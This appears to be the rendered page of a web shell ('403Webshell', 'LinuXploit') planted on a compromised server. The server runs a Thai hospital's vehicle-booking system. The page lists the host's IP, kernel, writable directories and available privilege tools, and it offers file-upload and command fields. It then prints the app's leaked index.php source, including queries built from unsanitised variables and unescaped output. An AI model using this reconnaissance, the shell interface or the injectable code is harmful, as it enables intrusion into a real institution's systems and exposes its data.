403Webshell
Server IP : 182.53.201.61  /  Your IP : 216.73.217.175
Web Server : Apache/2.2.15 (Fedora)
System : Linux km10.dyndns.org 2.6.31.5-127.fc12.i686.PAE #1 SMP Sat Nov 7 21:25:57 EST 2009 i686
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/CAR/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/CAR/index.php
<?php
//$ebits = ini_get('error_reporting');
//error_reporting($ebits ^ E_NOTICE);
?>

<?php
include("dbconfig.php");
include( "function.php" );
$dd =date("d") ;
$mm = date("m") ;
$yy = date("Y")+543 ;
$yy2 = date("Y")+543 ;
$ndd=$dd+2 ;
		if  (!checkdate($mm,$ndd,$yy) or ($ndd < $dd) ) 
			{
				$ndd=4;
				$mm=$mm+1;
				if  ($mm==13)
				  {
					$yy=$yy+1;
					$mm=1;
				   }
			}

 $date_e = $yy."-".$mm."-".$ndd ;
//$date_e = $yy."-".$mm."-".$dd ;
$date_s =(date("Y")+543).date("-m-").(date("d"));  
//$date_s = formatDateDB($date_start);
//$date_e = formatDateDB($date_end);
$date_end= ($ndd-1)."-$mm-$yy" ;
$date_start = (date("d")).date("-m-").(date("Y")+543)   ;
?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<title>ระบบขออนุญาตใช้รถส่วนกลาง</title>
<link rel="shortcut icon" type="image/x-icon" href="/images/favicon.ico"> <!-- Icon web address bar -->
<meta http-equiv="Content-Type" content="text/html; charset=windows-874">
<style>
a:link{color:blue;text-decoration:none;font-family:ms sans serif;}
a:visited{color:blue;text-decoration:none;font-family:ms sans serif;}
a:hover{color:red;text-decoration:none;font-family:ms sans serif;}
td{font-size:10pt;font-family:ms sans serif;}
.style1 {color: #FF0000}
.style3 {color: #FF0000; font-weight: bold; }
</style>
<script language="JavaScript">
<!--
function MM_swapImgRestore() { //v3.0
  var i,x,a=document.MM_sr; for(i=0;a&&i<a.length&&(x=a[i])&&x.oSrc;i++) x.src=x.oSrc;
}

function MM_preloadImages() { //v3.0
  var d=document; if(d.images){ if(!d.MM_p) d.MM_p=new Array();
    var i,j=d.MM_p.length,a=MM_preloadImages.arguments; for(i=0; i<a.length; i++)
    if (a[i].indexOf("#")!=0){ d.MM_p[j]=new Image; d.MM_p[j++].src=a[i];}}
}

function MM_findObj(n, d) { //v4.01
  var p,i,x;  if(!d) d=document; if((p=n.indexOf("?"))>0&&parent.frames.length) {
    d=parent.frames[n.substring(p+1)].document; n=n.substring(0,p);}
  if(!(x=d[n])&&d.all) x=d.all[n]; for (i=0;!x&&i<d.forms.length;i++) x=d.forms[i][n];
  for(i=0;!x&&d.layers&&i<d.layers.length;i++) x=MM_findObj(n,d.layers[i].document);
  if(!x && d.getElementById) x=d.getElementById(n); return x;
}

function MM_swapImage() { //v3.0
  var i,j=0,x,a=MM_swapImage.arguments; document.MM_sr=new Array; for(i=0;i<(a.length-2);i+=3)
   if ((x=MM_findObj(a[i]))!=null){document.MM_sr[j++]=x; if(!x.oSrc) x.oSrc=x.src; x.src=a[i+2];}
}

function MM_openBrWindow(theURL,winName,features) { //v2.0
  window.open(theURL,winName,features);
 }
//-->
</script>
<SCRIPT language=Javascript>
var text  = "Sattahip   Car  Reserv  system :: : ยินดีต้อนรับเข้าสู่ระบบ  : ::"
var speed = 120
var x = 0
function U() {
var a = text.substring(0,x)
var b = text.substring(x,x+1).toUpperCase()
var c = text.substring(x+1,text.length)
window.status = a + b + c
if (x == text.length) {
x = 0
}
else {
x++
}
setTimeout("U()",speed)
}
U();
--->
</SCRIPT>
</head>

<body>
<TABLE height=85 cellSpacing=0 cellPadding=0 width="100%" border=0>
  <TBODY>
    <TR> 
      <TD style="BACKGROUND-COLOR: #f0f7ff" colSpan=2></TD>
    </TR>
    <TR bgColor=#c7d2e7> 
      <TD class=thwbold width="88%" height=28><div align="center">&nbsp;<font size="2" face="Microsoft Sans Serif, MS Sans Serif, sans-serif"><strong> 
          การขออนุญาตใช้รถยนต์ส่วนกลาง โรงพยาบาลสัตหีบ</strong></font></div></TD>
      <TD width="12%" height=28 align=right vAlign=center bgColor=#c7d1e7 class=thsans><div align="right"> 
          &nbsp;<img src="../images/q.gif" width="18" height="18"><img src="../images/youraccount.gif" width="18" height="18"><img src="../images/cart.gif" width="18" height="18">&nbsp; 
          &nbsp; </div></TD>
    </TR>
    <TR> 
      <TD style="BACKGROUND-COLOR: black" colSpan=2></TD>
    </TR>
    <TR> 
      <TD style="BACKGROUND-COLOR: #f0f8ff" colSpan=2></TD>
    </TR>
    <TR vAlign=center bgColor=#216289> 
      <TD class=thwbold colSpan=2 height=21> <TABLE height="95%" cellSpacing=0 cellPadding=1 width="99%" align=center border=0>
          <TBODY>
            <TR> 
              <TD width="3%" height="22" align=middle>&nbsp;</TD>
              <TD align=middle width="22%"><a href="pm_car_record.php" target="_blank">
			  		<font color="#FFFFFF" size="2" face="Microsoft Sans Serif, MS Sans Serif, sans-serif">บันทึกการขอรถ</font></a></TD>
              <TD align=middle width="21%"><a href="donotapprov.php" target="_blank">
			  		<font color="#FFFFFF" size="2" face="Microsoft Sans Serif, MS Sans Serif, sans-serif">ใบขอรถยนต์ที่จัดก่อนอนุญาต</font></a></TD>
              <TD width="15%" align=middle><a href="follow.php" target="_parent">
			  		<font color="#FFFFFF" size="2" face="Microsoft Sans Serif, MS Sans Serif, sans-serif">ติดตามการขอรถยนต์</font></a></TD>
              <TD align=middle width="19%"><a href="rep_driver.php" target="_parent">
			  		<font color="#FFFFFF" size="2" face="Microsoft Sans Serif, MS Sans Serif, sans-serif">ดูผลการประเมินและรายงาน</font></a><font color="#FFFFFF"><SPAN 
            		class=thsans2 id=n5></SPAN></font></TD>
              <TD align=middle width="1%"><font color="#FFFFFF">&nbsp;</font></TD>
              <TD class=thtahomasmall align=middle width="19%"><a href="logout.php">
			  		<font color="#FFFFFF" size="2" face="Microsoft Sans Serif, MS Sans Serif, sans-serif">Logout<br>ออกจากระบบ</font></a></TD>
            </TR>
          </TBODY>
        </TABLE>
      </TD>
    </TR>
    <TR> 
      <TD style="BACKGROUND-COLOR: black; heigth: 1" colSpan=2></TD>
    </TR>
  </TBODY>
</TABLE>
<table width="94%" height="164" border="0" align="center" cellpadding="0" cellspacing="2">
  <tr> 
    <td width="6%" height="27"><div align="center"><font size="2" face="Microsoft Sans Serif, MS Sans Serif, sans-serif">1.</font></div></td>
    <td><font size="3" face="Microsoft Sans Serif, MS Sans Serif, sans-serif">ผู้ที่ต้องการขอใช้รถ 
      <a href="car_request.php">ยื่นขออนุญาตใช้รถส่วนกลาง</a> </font></td>
    <td><img src="icon_maintenance.gif" width="33" height="33"></td>
    <td><div align="left"><font color="#000000">&nbsp; </font>
			<font color="#000000" size="3" face="Microsoft Sans Serif, MS Sans Serif, sans-serif">
			<a href="edit_car_request.php" target="_parent">แก้ไขใบขอรถ</a></font></div></td>
    <td width="0%">&nbsp;</td>
  </tr>
  <!--<tr> 
    <td height="26"><div align="center"><font size="2" face="Microsoft Sans Serif, MS Sans Serif, sans-serif">2.</font></div></td>
    <td><font size="3" face="Microsoft Sans Serif, MS Sans Serif, sans-serif"> หัวหน้างาน <a href="rq_chk.php" target="_blank">บันทึกความเห็น</a>
			ในใบขอใช้รถส่วนกลาง</font>	</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
  </tr>-->
  <tr> 
    <td height="23"><div align="center"><font size="2" face="Microsoft Sans Serif, MS Sans Serif, sans-serif">2.</font></div></td>
    <td><font size="3" face="Microsoft Sans Serif, MS Sans Serif, sans-serif">ผู้มีอำนาจสั่งใช้รถ 
      (หัวหน้าฝ่ายบริหาร )<a href="rq_chk3.php" target="_blank">ลงนามอนุญาต</a>ในใบขอใช้รถส่วนกลาง</font></td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
  </tr>
  <tr> 
    <td height="24"><div align="center"><font size="2" face="Microsoft Sans Serif, MS Sans Serif, sans-serif">3.</font></div></td>
    <td width="80%"><font size="3" face="Microsoft Sans Serif, MS Sans Serif, sans-serif">หัวหน้ายานทำการ</font> 
      <font size="2"><a href="rq_chk1.php" target="_blank">จัดรถยนต์และบันทึกการจัดรถยนต์</a>ในใบขอใช้รถส่วนกลาง</font></td>
    <td width="3%">&nbsp;</td>
    <td width="11%"><font size="3" face="Microsoft Sans Serif, MS Sans Serif, sans-serif">&nbsp;</font></td>
    <td>&nbsp;</td>
  </tr>
  <tr> 
    <td height="22"><div align="center"><font size="2" face="Microsoft Sans Serif, MS Sans Serif, sans-serif">4.</font></div></td>
    <td><font size="3" face="Microsoft Sans Serif, MS Sans Serif, sans-serif">ผู้ที่ขอรถต้องกรอกเลขระยะทางและ&nbsp;<a href="rq_chk2.php" target="_blank">ประเมินการให้บริการ</a>&nbsp;</font></td>
    <td>&nbsp;</td>
    <td><font size="3" face="Microsoft Sans Serif, MS Sans Serif, sans-serif">&nbsp;</font></td>
    <td>&nbsp;</td>
  </tr>
  <tr> 
    <td height="22"><div align="center"><font size="2" face="Microsoft Sans Serif, MS Sans Serif, sans-serif">5.</font></div></td>
    <td><font size="3" face="Microsoft Sans Serif, MS Sans Serif, sans-serif"><a href="report.php">สรุปรายงาน</a>&nbsp;</font></td>
    <td>&nbsp;</td>
    <td><font size="3" face="Microsoft Sans Serif, MS Sans Serif, sans-serif">&nbsp;</font></td>
    <td>&nbsp;</td>
  </tr>
  <tr> 
    <td height="28" align="center">&nbsp;</td>
    <td rowspan="7"  align="center" >&nbsp;<a href="rq_chk2.php" target="_blank"><img src="../img/ประเมิน คนขับรถ.png" width="99" height="101"></a><br>แบบประเมินการให้บริการ</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
  </tr>
   <tr> 
    <td height="28">&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
  </tr>
</table>
<br>
<p align="center"><font size="4" face="Microsoft Sans Serif, MS Sans Serif, sans-serif">

    ตารางแสดงการขอรถระหว่างวันที่ 
<? echo $date_start ; ?> ถึง <? echo $date_end ; ?> </font></p>
<table width="100%" height="71" border="1" align="center" bordercolor="#CC99CC">
  <tr background="Background6.jpg"> 
    <td width="24%" height="30" background="Background2.jpg"><div align="center"><font size="4" face="Microsoft Sans Serif, MS Sans Serif, sans-serif">วันที่</font></div></td>
    <td width="13%" background="Background2.jpg"><div align="center"><font size="4" face="Microsoft Sans Serif, MS Sans Serif, sans-serif">เวลา</font></div></td>
    <td width="24%" background="Background2.jpg"><div align="center"><font size="4" face="Microsoft Sans Serif, MS Sans Serif, sans-serif">สถานที่ไป</font></div></td>
    <td width="16%" background="Background2.jpg"><div align="center"><font size="4" face="Microsoft Sans Serif, MS Sans Serif, sans-serif">ผู้ขอ</font></div></td>
    <td width="23%" background="Background2.jpg"><div align="center"><font size="4" face="Microsoft Sans Serif, MS Sans Serif, sans-serif">พนักงานขับรถ</font></div></td>
  </tr>
  <?php	
mysql_select_db($__db__);
mysql_query(" SET NAMES 'tis620'; ");
		//$sql="select  * from tran  where  boss is not null and   date1 between '$date_s' and '$date_e' order by  date1";
		//$sql="select  * from tran  where car_id <> '0'  and date1 between '$date_s' and '$date_e' ";
		$sql="select  * from tran  where car_id >= '0'  and  date1 between '$date_s' and '$date_e'  order by date1 desc ";
		$result=mysql_query($sql) ;
		$num_rows = mysql_num_rows($result);
			
		while (@$object = mysql_fetch_object($result))
		  {
		  $date1 = $object ->date1 ;
		  $date2 = $object ->date2 ;
		  $target = $object -> target ;
		  $time1 = $object -> time1 ;
		  $time2 = $object -> time2 ;
		  $user_id = $object ->user_id;
		  $driver = $object ->driver;
		  $boss = $object ->boss;
		  $no = $object ->no;
		  $car_id = $object -> car_id;
		  $comment = $object ->comment;
mysql_select_db($__dbwp__);
mysql_query(" SET NAMES 'tis620'; ");
		  $sqll="select  id,name  from user  where id = '$user_id'";
		   $lresult=mysql_query($sqll);
		   while (@$objectl = mysql_fetch_object($lresult))
	  			{
				 $name = $objectl->name;
				 }
         if (strlen($boss) > 4 )
		 {
mysql_select_db($__dbwp__);
mysql_query(" SET NAMES 'tis620'; ");
		   $bsql="select  id,name  from user  where id = '$boss'";
		   $bresult=mysql_query($bsql) or die(mysql_error());
		    while (@$bobject = mysql_fetch_object($bresult))
	  			{
				 $nameboss = $bobject->name;
				 }
			}
			$sqll="select  id,name  from user  where id = '$driver'";
		   $lresult=mysql_query($sqll);
		   while (@$objectl = mysql_fetch_object($lresult))
	  			{
				 $driver = $objectl->name;
				 }
				 	if ($date1 ==  (date("Y")+543).date("-m-d") )
				 	{
				   	$bgcolor = "#D7FFEB" ; 
					//$mover = "this.style.background='white'" ;
					//$mout = "this.style.background='#ffffff'" ;
					$img = "&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;"  ;
					}
					else
					{
					 $bgcolor = "#FFDFD5" ;
					 //$mover = "this.style.background='ccccff' " ;
					 //$mout = "this.style.background='#ffff99' " ;
					 $img = "<img src='../images/freeshipping_small.gif' width='19' height='12' >  " ;
					}
				?>
  <tr bgcolor='<? echo $bgcolor ; ?>'  onmouseover="<? echo $mover ; ?>;" onMouseOut="<? echo $mout ;?>"> 
    <td height="33"><font size="2" face="Microsoft Sans Serif, MS Sans Serif, sans-serif"> 
     <? echo $img ;?> <a href="reserv_sit.php?no=<? echo $no; ?>&name=<? echo $name ;?>&boss=<? echo $nameboss ;?>"> 
      <? echo formatDateshow($date1)." ถึง ".formatDateshow($date2) ;?></a> </font></td>
    <td><div align="center"><font size="2" face="Microsoft Sans Serif, MS Sans Serif, sans-serif"><? echo $time1."  -  ".$time2."น." ;?></font></div></td>
    <td><font size="2" face="Microsoft Sans Serif, MS Sans Serif, sans-serif"><? echo $target ;?></font></td>
    <td><div align="center"><font size="2" face="Microsoft Sans Serif, MS Sans Serif, sans-serif"><? echo $name ;?></font></div></td>
    <td><div align="center"><font size="2" face="Microsoft Sans Serif, MS Sans Serif, sans-serif">
	<?
	
	 if (empty($driver)) {
	       if (!empty($comment)) {
		   echo $comment ;
		   $car_id= " " ;
		   }
		   else {
		   echo "กำลังจัดพนักงานขับรถ" ;
		   }
	 }
	 else {
	 echo "<a href='edit_driver.php?no=".$no."&name=".$name." '>".$driver."</a>" ;
	 }
	 ?>
	 <font color="#FF0000"><?  if (strlen($car_id) < 4  || ($car_id == "เลือกท") ) echo "<a href='edit_driver.php?no=$no&name=$name '>ยังไม่ได้เลือก รถยนต์ </a>" ; else { echo $car_id ; }?></font></font></div></td>
  </tr>
  <?php
		  }
//	mysql_free_result($result);

			?>
</table><? if($num_rows == "0") echo  "<center><img src='../images/freeshipping_small.gif' width='19' height='12' ><font size='5' face='Microsoft Sans Serif, MS Sans Serif, sans-serif'>ยังไม่มีใบขอรถยนต์ที่ผ่านการจัด</font></center>"  ;?>
<blockquote> 
  <p align="left"><font size="2" face="Microsoft Sans Serif, MS Sans Serif, sans-serif"><img src="car.gif" width="20" height="18"> 
    ถ้าต้องการไปร่วมกับคนที่ขอรถแล้ว <font color="#FF0000">คลิ๊กที่วันที่</font> 
    แล้วพิมพ์ชื่อในช่องว่าง<br>
    </font><font size="2" face="Microsoft Sans Serif, MS Sans Serif, sans-serif"><img src="car.gif" width="20" height="18"> 
    ถ้าต้องการพิมพ์ใบขอรถ <font color="#FF0000">คลิ๊กที่วันที่</font> แล้วคลิ๊กที่รูปภาพเครื่องพิมพ์ด้านล่างสุด<br>
    <img src="car.gif" width="20" height="18"> ถ้าต้องการแก้ไขคนขับรถหรือเปลี่ยนรถยนต์ 
    <font color="#FF0000">คลิ๊กที่ชื่อคนขับ </font> แล้วแก้ไขชื่อคนขับหรือรถยนต์ 
    </font> </p>
</blockquote>
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit